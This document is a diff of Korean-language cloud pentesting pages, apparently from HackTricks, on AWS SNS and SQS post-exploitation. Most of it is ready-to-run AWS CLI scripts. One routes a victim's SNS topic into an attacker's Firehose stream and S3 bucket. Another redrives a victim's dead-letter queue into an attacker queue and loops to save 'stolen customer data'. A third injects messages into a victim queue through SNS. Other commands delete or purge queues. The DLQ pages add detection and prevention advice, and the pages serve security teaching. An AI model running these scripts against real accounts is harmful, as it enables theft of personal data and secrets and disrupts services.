- 공격자 계정에서 S3 버킷, Firehose delivery stream 및 Firehose가 사용하는 IAM 역할을 생성할 수 있는 권한 (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, 등).
- 피해자 topic에 대해 `sns:Subscribe` 할 수 있는 권한(구독 생성 후 subscription role ARN이 제공되는 경우 선택적으로 `sns:SetSubscriptionAttributes` 권한 필요).
- 공격자 주체가 구독할 수 있도록 허용하는 topic policy(또는 공격자가 이미 동일 계정 내부에서 운영 중인 경우).
## Attack Steps (same-account example)
```bash
REGION=us-east-1
ACC_ID=$(aws sts get-caller-identity --query Account --output text)
SUFFIX=$(date +%s)
# 1) Create attacker S3 bucket and Firehose delivery stream
ATTACKER_BUCKET=ht-firehose-exfil-$SUFFIX
aws s3 mb s3://$ATTACKER_BUCKET --region $REGION
STREAM_NAME=ht-firehose-stream-$SUFFIX
FIREHOSE_ROLE_NAME=FirehoseAccessRole-$SUFFIX
# Role Firehose assumes to write into the bucket
aws iam create-role --role-name "$FIREHOSE_ROLE_NAME" --assume-role-policy-document '{
"Version": "2012-10-17",
"Statement": [{"Effect": "Allow","Principal": {"Service": "firehose.amazonaws.com"},"Action": "sts:AssumeRole"}]
}'
cat > /tmp/firehose-s3-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:AbortMultipartUpload","s3:GetBucketLocation","s3:GetObject","s3:ListBucket","s3:ListBucketMultipartUploads","s3:PutObject"],"Resource":["arn:aws:s3:::$ATTACKER_BUCKET","arn:aws:s3:::$ATTACKER_BUCKET/*"]}]}
JSON
aws iam put-role-policy --role-name "$FIREHOSE_ROLE_NAME" --policy-name AllowS3Writes --policy-document file:///tmp/firehose-s3-policy.json
aws firehose create-delivery-stream \
--delivery-stream-name "$STREAM_NAME" \
--delivery-stream-type DirectPut \
--s3-destination-configuration RoleARN=arn:aws:iam::$ACC_ID:role/$FIREHOSE_ROLE_NAME,BucketARN=arn:aws:s3:::$ATTACKER_BUCKET \
--region $REGION >/dev/null
# 2) IAM role SNS assumes when delivering into Firehose
SNS_ROLE_NAME=ht-sns-to-firehose-role-$SUFFIX
aws iam create-role --role-name "$SNS_ROLE_NAME" --assume-role-policy-document '{
"Version": "2012-10-17",
"Statement": [{"Effect": "Allow","Principal": {"Service": "sns.amazonaws.com"},"Action": "sts:AssumeRole"}]
}'
cat > /tmp/allow-firehose.json <<JSON
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["firehose:PutRecord","firehose:PutRecordBatch"],"Resource":"arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME"}]}
JSON
aws iam put-role-policy --role-name "$SNS_ROLE_NAME" --policy-name AllowFirehoseWrites --policy-document file:///tmp/allow-firehose.json
SNS_ROLE_ARN=arn:aws:iam::$ACC_ID:role/$SNS_ROLE_NAME
# 3) Subscribe Firehose to the victim topic
TOPIC_ARN=<VICTIM_TOPIC_ARN>
aws sns subscribe \
--topic-arn "$TOPIC_ARN" \
--protocol firehose \
--notification-endpoint arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME \
--attributes SubscriptionRoleArn=$SNS_ROLE_ARN \
--region $REGION
# 4) Publish test message and confirm arrival in S3
aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --region $REGION
sleep 90
aws s3 ls s3://$ATTACKER_BUCKET/ --recursive
```
## Cleanup
- SNS 구독, Firehose delivery stream, 임시 IAM 역할/정책 및 공격자 S3 버킷을 삭제합니다.
## Impact
**잠재적 영향**: 타깃 SNS topic에 게시된 모든 메시지가 공격자 제어 스토리지로 지속적이고 내구성 있게 exfiltration되며, 운영상 흔적은 최소화됩니다.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,150 @@
# AWS SQS DLQ Redrive Exfiltration via StartMessageMoveTask
## 설명
`StartMessageMoveTask`을 사용하여 SQS 메시지 이동 작업을 악용해 피해자의 Dead-Letter Queue (DLQ)에 누적된 모든 메시지를 공격자가 제어하는 큐로 리디렉션하여 훔칩니다. 이 기법은 AWS의 정당한 메시지 복구 기능을 악용해 시간이 지나며 DLQ에 누적된 민감한 데이터를 유출합니다.
## Dead-Letter Queue (DLQ)란 무엇인가?
Dead-Letter Queue는 메인 애플리케이션에서 정상적으로 처리되지 못한 메시지들이 자동으로 전송되는 특수한 SQS 큐입니다. 이러한 실패한 메시지에는 종종 다음이 포함됩니다:
- 처리되지 못한 민감한 애플리케이션 데이터
- 오류 세부 정보 및 디버깅 정보
- Personal Identifiable Information (PII)
- API tokens, 자격 증명 또는 기타 비밀
- 비즈니스에 중요한 거래 데이터
DLQ는 실패한 메시지들의 "묘지" 역할을 하므로, 애플리케이션이 제대로 처리하지 못해 시간이 지나며 민감한 데이터가 누적되기 때문에 가치 있는 타깃이 됩니다.
## 공격 시나리오
**Real-world example:**
1. **E-commerce application**이 SQS를 통해 고객 주문을 처리한다.
2. **일부 주문이 실패한다** (결제 문제, 재고 문제 등) 그리고 DLQ로 이동된다.
3. **DLQ에 수주/수개월치의 실패한 주문이 누적된다**, 고객 데이터가 포함되어 있음: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
4. **공격자가 SQS 권한이 있는 AWS 자격증명을 획득한다.**
5. **공격자가 DLQ에 수천 건의 민감한 실패 주문이 있음을 발견한다.**
6. **개별 메시지에 접근하려 시도하는 대신** (느리고 눈에 띔), 공격자는 `StartMessageMoveTask`를 사용해 모든 메시지를 자신의 큐로 일괄 전송한다.
7. **공격자는** 한 번의 작업으로 모든 과거 민감 데이터를 추출한다.
## 요구 조건
- 출발 큐는 어떤 큐의 RedrivePolicy에 의해 참조되는 DLQ로 구성되어 있어야 합니다.
- IAM 권한 (손상된 피해자 주체로 실행):
- DLQ(출발지)에서: `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
- 대상 큐에서: 메시지 전달 권한(예: 피해자 주체로부터의 `sqs:SendMessage`를 허용하는 큐 정책). 동일 계정 내 대상의 경우 일반적으로 기본적으로 허용됩니다.
- SSE-KMS가 활성화된 경우: 출발지 CMK에 대해 `kms:Decrypt`, 대상 CMK에 대해 `kms:GenerateDataKey`, `kms:Encrypt`.
## 영향
네이티브 SQS API를 사용해 DLQ에 누적된 민감한 페이로드(실패 이벤트, PII, 토큰, 애플리케이션 페이로드)를 고속으로 유출할 수 있습니다. 대상 큐 정책이 피해자 주체로부터의 `SendMessage`를 허용하면 크로스-어카운트에서도 작동합니다.
## 악용 방법
- 피해자 DLQ ARN을 식별하고 실제로 어떤 큐에 의해 DLQ로 참조되고 있는지 확인합니다(어떤 큐든 괜찮음).
- 공격자가 제어하는 대상 큐를 생성하거나 선택하고 해당 ARN을 가져옵니다.
- 피해자 DLQ에서 당신의 대상 큐로 메시지 이동 작업을 시작합니다.
- 진행 상황을 모니터링하거나 필요 시 작업을 취소합니다.
### CLI 예제: E-commerce DLQ에서 고객 데이터 Exfiltrating
**시나리오**: 공격자가 AWS 자격증명을 탈취했으며, e-commerce 애플리케이션이 실패한 고객 주문 처리 시도를 포함하는 DLQ를 사용하는 SQS를 사용하고 있음을 발견했습니다.
1) **피해자 DLQ 발견 및 조사**
```bash
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq
# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
# Check how many messages are in the DLQ (potential treasure trove!)
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"
```
2) **attacker-controlled destination queue 생성**
```bash
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
```
3) **대량 메시지 탈취 실행**
```bash
# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
TASK_RESPONSE=$(aws sqs start-message-move-task \
--source-arn "$SRC_ARN" \
--destination-arn "$ATTACKER_Q_ARN" \
--max-number-of-messages-per-second 100)
echo "Move task started: $TASK_RESPONSE"
# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
```
4) **도난당한 민감한 데이터를 수집**
```bash
# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--attribute-names All --message-attribute-names All \
--max-number-of-messages 10 --wait-time-seconds 5
# Example of what an attacker might see:
# {
# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
# "MessageId": "12345-abcd-6789-efgh"
# }
# Continue receiving all messages in batches
while true; do
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--max-number-of-messages 10 --wait-time-seconds 2 --output json)
if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
echo "No more messages - exfiltration complete!"
break
fi
echo "Received batch of stolen data..."
# Process/save the stolen customer data
echo "$MESSAGES" >> stolen_customer_data.json
done
```
### 교차 계정 관련 주의사항
- 대상 큐는 피해자 주체가 `sqs:SendMessage`를 수행할 수 있도록 허용하는 리소스 정책을 가져야 합니다(및 사용되는 경우, KMS grants/permissions).
## 이 공격이 효과적인 이유
1. **Legitimate AWS Feature**: 내장된 AWS 기능을 사용하므로 악의적 활동으로 탐지하기 어렵습니다
2. **Bulk Operation**: 느리게 하나씩 접근하는 대신 수천 건의 메시지를 빠르게 전송할 수 있습니다
3. **Historical Data**: DLQs는 몇 주/몇 달에 걸쳐 민감한 데이터를 축적합니다
4. **Under the Radar**: 많은 조직이 DLQ 접근을 면밀히 모니터링하지 않습니다
5. **Cross-Account Capable**: 권한이 허용되면 공격자의 자체 AWS 계정으로 exfiltrate할 수 있습니다
## 탐지 및 방지
### 탐지
의심스러운 `StartMessageMoveTask` API 호출에 대해 CloudTrail을 모니터링하세요:
```json
{
"eventName": "StartMessageMoveTask",
"sourceIPAddress": "suspicious-ip",
"userIdentity": {
"type": "IAMUser",
"userName": "compromised-user"
},
"requestParameters": {
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
}
}
```
### 예방
1. **최소 권한**: `sqs:StartMessageMoveTask` 권한을 필요한 역할에만 제한하세요
2. **DLQs 모니터링**: 비정상적인 DLQ 활동에 대해 CloudWatch 경보를 설정하세요
3. **교차 계정 정책**: 교차 계정 액세스를 허용하는 SQS 큐 정책을 신중히 검토하세요
4. **DLQs 암호화**: 제한된 키 정책으로 SSE-KMS를 사용하세요
5. **정기적 정리**: 민감한 데이터가 DLQs에 무기한 쌓이지 않도록 하세요
@@ -1,73 +0,0 @@
# AWS - SQS 포스트 익스플로이테이션
{{#include ../../../banners/hacktricks-training.md}}
## SQS
자세한 정보는 다음을 확인하세요:
{{#ref}}
../aws-services/aws-sqs-and-sns-enum.md
{{#endref}}
### `sqs:SendMessage` , `sqs:SendMessageBatch`
공격자는 SQS 큐에 악성 또는 원치 않는 메시지를 보낼 수 있으며, 이는 데이터 손상, 의도하지 않은 작업을 유발하거나 자원을 소모할 수 있습니다.
```bash
aws sqs send-message --queue-url <value> --message-body <value>
aws sqs send-message-batch --queue-url <value> --entries <value>
```
**잠재적 영향**: 취약점 악용, 데이터 손상, 의도하지 않은 행동 또는 리소스 고갈.
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
공격자는 SQS 큐에서 메시지를 수신, 삭제 또는 가시성을 수정할 수 있으며, 이로 인해 메시지 손실, 데이터 손상 또는 해당 메시지에 의존하는 애플리케이션의 서비스 중단이 발생할 수 있습니다.
```bash
aws sqs receive-message --queue-url <value>
aws sqs delete-message --queue-url <value> --receipt-handle <value>
aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
```
**잠재적 영향**: 민감한 정보 도용, 메시지 손실, 데이터 손상 및 영향을 받는 메시지에 의존하는 애플리케이션의 서비스 중단.
### `sqs:DeleteQueue`
공격자는 전체 SQS 큐를 삭제할 수 있으며, 이로 인해 메시지 손실이 발생하고 큐에 의존하는 애플리케이션에 영향을 미칠 수 있습니다.
```arduino
Copy codeaws sqs delete-queue --queue-url <value>
```
**잠재적 영향**: 삭제된 큐를 사용하는 애플리케이션에 대한 메시지 손실 및 서비스 중단.
### `sqs:PurgeQueue`
공격자는 SQS 큐에서 모든 메시지를 삭제할 수 있으며, 이로 인해 메시지 손실 및 해당 메시지에 의존하는 애플리케이션의 잠재적 중단이 발생할 수 있습니다.
```arduino
Copy codeaws sqs purge-queue --queue-url <value>
```
**잠재적 영향**: 삭제된 메시지에 의존하는 애플리케이션의 메시지 손실 및 서비스 중단.
### `sqs:SetQueueAttributes`
공격자는 SQS 큐의 속성을 수정하여 성능, 보안 또는 가용성에 영향을 줄 수 있습니다.
```arduino
aws sqs set-queue-attributes --queue-url <value> --attributes <value>
```
**잠재적 영향**: 잘못된 구성으로 인해 성능 저하, 보안 문제 또는 가용성 감소가 발생할 수 있습니다.
### `sqs:TagQueue` , `sqs:UntagQueue`
공격자는 SQS 리소스에서 태그를 추가, 수정 또는 제거하여 조직의 비용 할당, 리소스 추적 및 태그 기반 접근 제어 정책을 방해할 수 있습니다.
```bash
aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
aws sqs untag-queue --queue-url <value> --tag-keys <key>
```
**잠재적 영향**: 비용 할당, 리소스 추적 및 태그 기반 액세스 제어 정책의 중단.
### `sqs:RemovePermission`
공격자는 SQS 큐와 관련된 정책을 제거하여 합법적인 사용자 또는 서비스에 대한 권한을 철회할 수 있습니다. 이로 인해 큐에 의존하는 애플리케이션의 정상적인 기능이 중단될 수 있습니다.
```arduino
arduinoCopy codeaws sqs remove-permission --queue-url <value> --label <value>
```
**잠재적 영향**: 권한의 무단 제거로 인해 큐에 의존하는 애플리케이션의 정상적인 기능이 중단될 수 있습니다.
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,83 @@
# AWS - SQS Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
## SQS
자세한 내용은 다음을 확인하세요:
{{#ref}}
../../aws-services/aws-sqs-and-sns-enum.md
{{#endref}}
### `sqs:SendMessage` , `sqs:SendMessageBatch`
attacker는 SQS 큐에 악의적이거나 원치 않는 메시지를 전송할 수 있으며, 이는 데이터 손상, 의도치 않은 동작 촉발, 또는 리소스 고갈을 초래할 수 있습니다.
```bash
aws sqs send-message --queue-url <value> --message-body <value>
aws sqs send-message-batch --queue-url <value> --entries <value>
```
**Potential Impact**: 취약점 악용, 데이터 손상, 의도하지 않은 동작, 또는 자원 고갈.
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
공격자는 SQS 큐의 메시지를 수신, 삭제하거나 메시지 가시성을 변경할 수 있어, 해당 메시지에 의존하는 애플리케이션에 메시지 손실, 데이터 손상 또는 서비스 중단을 초래할 수 있습니다.
```bash
aws sqs receive-message --queue-url <value>
aws sqs delete-message --queue-url <value> --receipt-handle <value>
aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
```
**Potential Impact**: 민감한 정보 탈취, 메시지 손실, 데이터 손상 및 영향을 받는 메시지에 의존하는 애플리케이션의 서비스 중단.
### `sqs:DeleteQueue`
공격자는 전체 SQS 큐를 삭제하여 메시지 손실을 초래하고 해당 큐에 의존하는 애플리케이션에 영향을 줄 수 있습니다.
```bash
aws sqs delete-queue --queue-url <value>
```
**잠재적 영향**: 삭제된 큐를 사용하는 애플리케이션에서 메시지 손실 및 서비스 중단.
### `sqs:PurgeQueue`
공격자는 SQS 큐의 모든 메시지를 삭제(purge)할 수 있으며, 이로 인해 메시지 손실과 해당 메시지에 의존하는 애플리케이션의 서비스 중단이 발생할 수 있습니다.
```bash
aws sqs purge-queue --queue-url <value>
```
**잠재적 영향**: 메시지 손실 및 삭제된 메시지에 의존하는 애플리케이션의 서비스 중단.
### `sqs:SetQueueAttributes`
공격자는 SQS 큐의 속성을 수정하여 성능, 보안 또는 가용성에 영향을 줄 수 있습니다.
```bash
aws sqs set-queue-attributes --queue-url <value> --attributes <value>
```
**Potential Impact**: 잘못된 구성으로 성능 저하, 보안 문제 또는 가용성 감소로 이어질 수 있습니다.
### `sqs:TagQueue` , `sqs:UntagQueue`
공격자는 SQS 리소스에 태그를 추가, 수정 또는 제거하여 조직의 비용 할당, 리소스 추적 및 태그 기반 접근 제어 정책을 방해할 수 있습니다.
```bash
aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
aws sqs untag-queue --queue-url <value> --tag-keys <key>
```
**잠재적 영향**: 비용 할당, 리소스 추적 및 태그 기반 접근 제어 정책의 중단.
### `sqs:RemovePermission`
공격자는 SQS queue와 연관된 정책을 제거하여 정당한 사용자나 서비스의 권한을 취소할 수 있습니다. 이는 큐에 의존하는 애플리케이션의 정상적인 동작에 장애를 초래할 수 있습니다.
```bash
aws sqs remove-permission --queue-url <value> --label <value>
```
**잠재적 영향**: 권한이 무단으로 제거되어 큐에 의존하는 애플리케이션의 정상 동작이 중단될 수 있음.
### 더 많은 SQS Post-Exploitation Techniques
{{#ref}}
aws-sqs-dlq-redrive-exfiltration.md
{{#endref}}
{{#ref}}
aws-sqs-sns-injection.md
{{#endref}}
{{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,154 @@
# AWS SQS DLQ Redrive Exfiltration via StartMessageMoveTask
{{#include ../../../../banners/hacktricks-training.md}}
## 설명
SQS 메시지 이동 작업을 악용하여 `sqs:StartMessageMoveTask`를 사용해 피해자의 Dead-Letter Queue (DLQ)에 누적된 모든 메시지를 공격자 제어 큐로 리디렉션해 탈취합니다. 이 기법은 AWS의 합법적인 메시지 복구 기능을 악용하여 DLQ에 오랜 기간 쌓인 민감한 데이터를 exfiltrate합니다.
## Dead-Letter Queue (DLQ)란?
Dead-Letter Queue는 주요 애플리케이션에서 메시지 처리에 실패했을 때 자동으로 전송되는 특수한 SQS 큐입니다. 이러한 실패한 메시지에는 종종 다음이 포함됩니다:
- 처리되지 못한 민감한 애플리케이션 데이터
- 오류 세부 정보 및 디버깅 정보
- 개인 식별 정보(PII)
- API 토큰, 자격 증명 또는 기타 비밀
- 비즈니스 중요 거래 데이터
DLQ는 실패한 메시지의 '묘지' 역할을 하므로, 애플리케이션이 제대로 처리하지 못해 시간이 지남에 따라 민감한 데이터가 누적되기 때문에 가치 있는 표적이 됩니다.
## 공격 시나리오
**실제 사례 예시:**
1. **E-commerce application**이 SQS를 통해 고객 주문을 처리함
2. **일부 주문이 실패**함(결제 문제, 재고 문제 등)으로 DLQ로 이동
3. **DLQ에 수주/수개월치의 실패한 주문이 누적**되어 고객 데이터 포함: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
4. **공격자가 SQS 권한을 가진 AWS 자격 증명을 탈취**
5. **공격자가 DLQ에 수천 건의 실패한 주문과 민감한 데이터가 있음을 발견**
6. **개별 메시지 접근을 시도하는 대신**(느리고 눈에 띔), 공격자는 `StartMessageMoveTask`를 사용해 모든 메시지를 자신의 큐로 일괄 전송
7. **공격자가 한 번의 작업으로** 모든 과거 민감 데이터를 추출
## 요구 사항
- 소스 큐는 DLQ로 구성되어 있어야 함(적어도 하나의 큐 RedrivePolicy에 참조되어야 함).
- IAM 권한(침해된 피해자 주체로 실행):
- DLQ(소스)에 대해: `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
- 대상 큐에 대해: 메시지 전달 권한(예: 피해자 주체로부터의 `sqs:SendMessage`를 허용하는 큐 정책). 동일 계정 내 대상의 경우 일반적으로 기본적으로 허용됨.
- SSE-KMS가 활성화된 경우: 소스 CMK에 대해 `kms:Decrypt`, 대상 CMK에 대해 `kms:GenerateDataKey`, `kms:Encrypt`.
## 영향
**잠재적 영향**: 네이티브 SQS API를 사용하여 DLQ에 누적된 민감한 페이로드(실패한 이벤트, PII, 토큰, 애플리케이션 페이로드 등)를 고속으로 exfiltrate할 수 있음. 대상 큐 정책이 피해자 주체로부터의 `SendMessage`를 허용하면 교차 계정에서도 작동함.
## 악용 방법
- 피해자 DLQ ARN을 식별하고 해당 큐가 실제로 어떤 큐에 의해 DLQ로 참조되고 있는지 확인합니다(어떤 큐든 상관없음).
- 공격자 제어 대상 큐를 생성하거나 선택하고 해당 큐의 ARN을 확보합니다.
- 피해자 DLQ에서 대상 큐로 메시지 이동 작업을 시작합니다.
- 진행 상황을 모니터링하거나 필요한 경우 취소합니다.
### CLI 예시: E-commerce DLQ에서 고객 데이터 Exfiltrating
**시나리오**: 공격자가 AWS 자격 증명을 탈취했고, 전자상거래 애플리케이션이 실패한 고객 주문 처리 시도를 포함한 DLQ를 사용하는 SQS를 사용하고 있음을 발견함.
1) **피해자 DLQ 찾기 및 조사**
```bash
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq
# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
# Check how many messages are in the DLQ (potential treasure trove!)
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"
```
2) **attacker-controlled destination queue 생성**
```bash
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
```
3) **bulk message theft를 실행**
```bash
# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
TASK_RESPONSE=$(aws sqs start-message-move-task \
--source-arn "$SRC_ARN" \
--destination-arn "$ATTACKER_Q_ARN" \
--max-number-of-messages-per-second 100)
echo "Move task started: $TASK_RESPONSE"
# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
```
4) **탈취한 민감한 데이터 수집**
```bash
# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--attribute-names All --message-attribute-names All \
--max-number-of-messages 10 --wait-time-seconds 5
# Example of what an attacker might see:
# {
# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
# "MessageId": "12345-abcd-6789-efgh"
# }
# Continue receiving all messages in batches
while true; do
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--max-number-of-messages 10 --wait-time-seconds 2 --output json)
if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
echo "No more messages - exfiltration complete!"
break
fi
echo "Received batch of stolen data..."
# Process/save the stolen customer data
echo "$MESSAGES" >> stolen_customer_data.json
done
```
### 계정 간 주의사항
- 대상 큐는 피해자 principal이 `sqs:SendMessage`를 수행할 수 있도록 허용하는 리소스 정책을 가져야 합니다(사용하는 경우 KMS grants/permissions 포함).
## 왜 이 공격이 효과적인가
1. **정상적인 AWS 기능**: 내장된 AWS 기능을 사용하므로 악의적 활동으로 탐지되기 어려움
2. **대량 작업**: 개별적으로 느리게 접근하는 대신 수천 개의 메시지를 빠르게 전송
3. **이력 데이터**: DLQs는 몇 주/몇 달에 걸쳐 민감한 데이터를 축적함
4. **눈에 띄지 않음**: 많은 조직이 DLQ 접근을 면밀히 모니터링하지 않음
5. **계정 간 가능**: 권한이 허용되면 공격자의 AWS 계정으로 exfiltrate 할 수 있음
## 탐지 및 방지
### 탐지
의심스러운 `StartMessageMoveTask` API 호출을 CloudTrail에서 모니터링하십시오:
```json
{
"eventName": "StartMessageMoveTask",
"sourceIPAddress": "suspicious-ip",
"userIdentity": {
"type": "IAMUser",
"userName": "compromised-user"
},
"requestParameters": {
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
}
}
```
### 예방
1. **최소 권한 원칙**: `sqs:StartMessageMoveTask` 권한을 필요한 역할로만 제한
2. **DLQs 모니터링**: 비정상적인 DLQ 활동에 대해 CloudWatch 경보 설정
3. **교차 계정 정책**: 교차 계정 액세스를 허용하는 SQS 큐 정책을 신중히 검토
4. **DLQs 암호화**: SSE-KMS를 제한된 키 정책과 함께 사용
5. **정기적인 정리**: 민감한 데이터가 DLQs에 무기한 쌓이지 않도록 함
{{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,54 @@
# AWS SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy
{{#include ../../../../banners/hacktricks-training.md}}
## 설명
공격자가 제어하는 SNS topic이 피해자 SQS 큐로 메시지를 게시할 수 있도록 SQS 큐의 resource policy를 악용합니다. 동일 계정에서는 SNS topic에 대한 SQS 구독이 자동으로 확인되지만, 크로스-계정 상황에서는 큐에서 SubscriptionConfirmation 토큰을 읽어와서 ConfirmSubscription을 호출해야 합니다. 이로 인해 하류 소비자가 암묵적으로 신뢰할 수 있는 무단 메시지 injection이 가능해집니다.
### 요구 사항
- 대상 SQS 큐의 resource policy를 수정할 수 있는 권한: `sqs:SetQueueAttributes` (피해자 큐에 대해).
- 공격자 계정에서 제어하는 SNS topic을 생성/게시/구독할 수 있는 권한: `sns:CreateTopic`, `sns:Publish`, `sns:Subscribe`.
- 크로스-계정 전용: 확인 토큰을 읽고 `sns:ConfirmSubscription`을 호출하기 위해 피해자 큐에 대한 임시 `sqs:ReceiveMessage` 권한.
### 동일 계정에서의 악용
```bash
REGION=us-east-1
# 1) Create victim queue and capture URL/ARN
Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
# 2) Create attacker SNS topic
TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)
# 3) Allow that SNS topic to publish to the queue (queue resource policy)
cat > /tmp/ht-sqs-sns-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSTopicPublish","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"REPLACE_QUEUE_ARN","Condition":{"StringEquals":{"aws:SourceArn":"REPLACE_TOPIC_ARN"}}}]}
JSON
sed -i.bak "s#REPLACE_QUEUE_ARN#$Q_ARN#g; s#REPLACE_TOPIC_ARN#$TOPIC_ARN#g" /tmp/ht-sqs-sns-policy.json
# Provide the attribute as a JSON map so quoting works reliably
cat > /tmp/ht-attrs.json <<JSON
{
"Policy": "REPLACE_POLICY_JSON"
}
JSON
# Embed the policy file contents as a JSON string
POL_ESC=$(jq -Rs . /tmp/ht-sqs-sns-policy.json)
sed -i.bak "s#\"REPLACE_POLICY_JSON\"#$POL_ESC#g" /tmp/ht-attrs.json
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes file:///tmp/ht-attrs.json
# 4) Subscribe the queue to the topic (auto-confirms same-account)
aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --region $REGION
# 5) Publish and verify injection
aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
```
### 계정 간 주의사항
- 위의 큐 정책은 외부 `TOPIC_ARN` (attacker account)을 허용해야 합니다.
- 구독은 자동으로 확인되지 않습니다. victim queue에 대해 자신에게 임시로 `sqs:ReceiveMessage` 권한을 부여하여 `SubscriptionConfirmation` 메시지를 읽은 다음 해당 `Token`으로 `sns confirm-subscription`을 호출하세요.
### 영향
**잠재적 영향**: 신뢰된 SQS 큐로 SNS를 통해 지속적으로 원치 않는 메시지를 주입하여 의도치 않은 처리, 데이터 오염 또는 워크플로 남용을 유발할 수 있습니다.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,18 +1,18 @@
# AWS - SSO & identitystore Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}
## SSO & identitystore
자세한 내용은 다음을 확인하세요:
{{#ref}}
../aws-services/aws-iam-enum.md
../../aws-services/aws-iam-enum.md
{{#endref}}
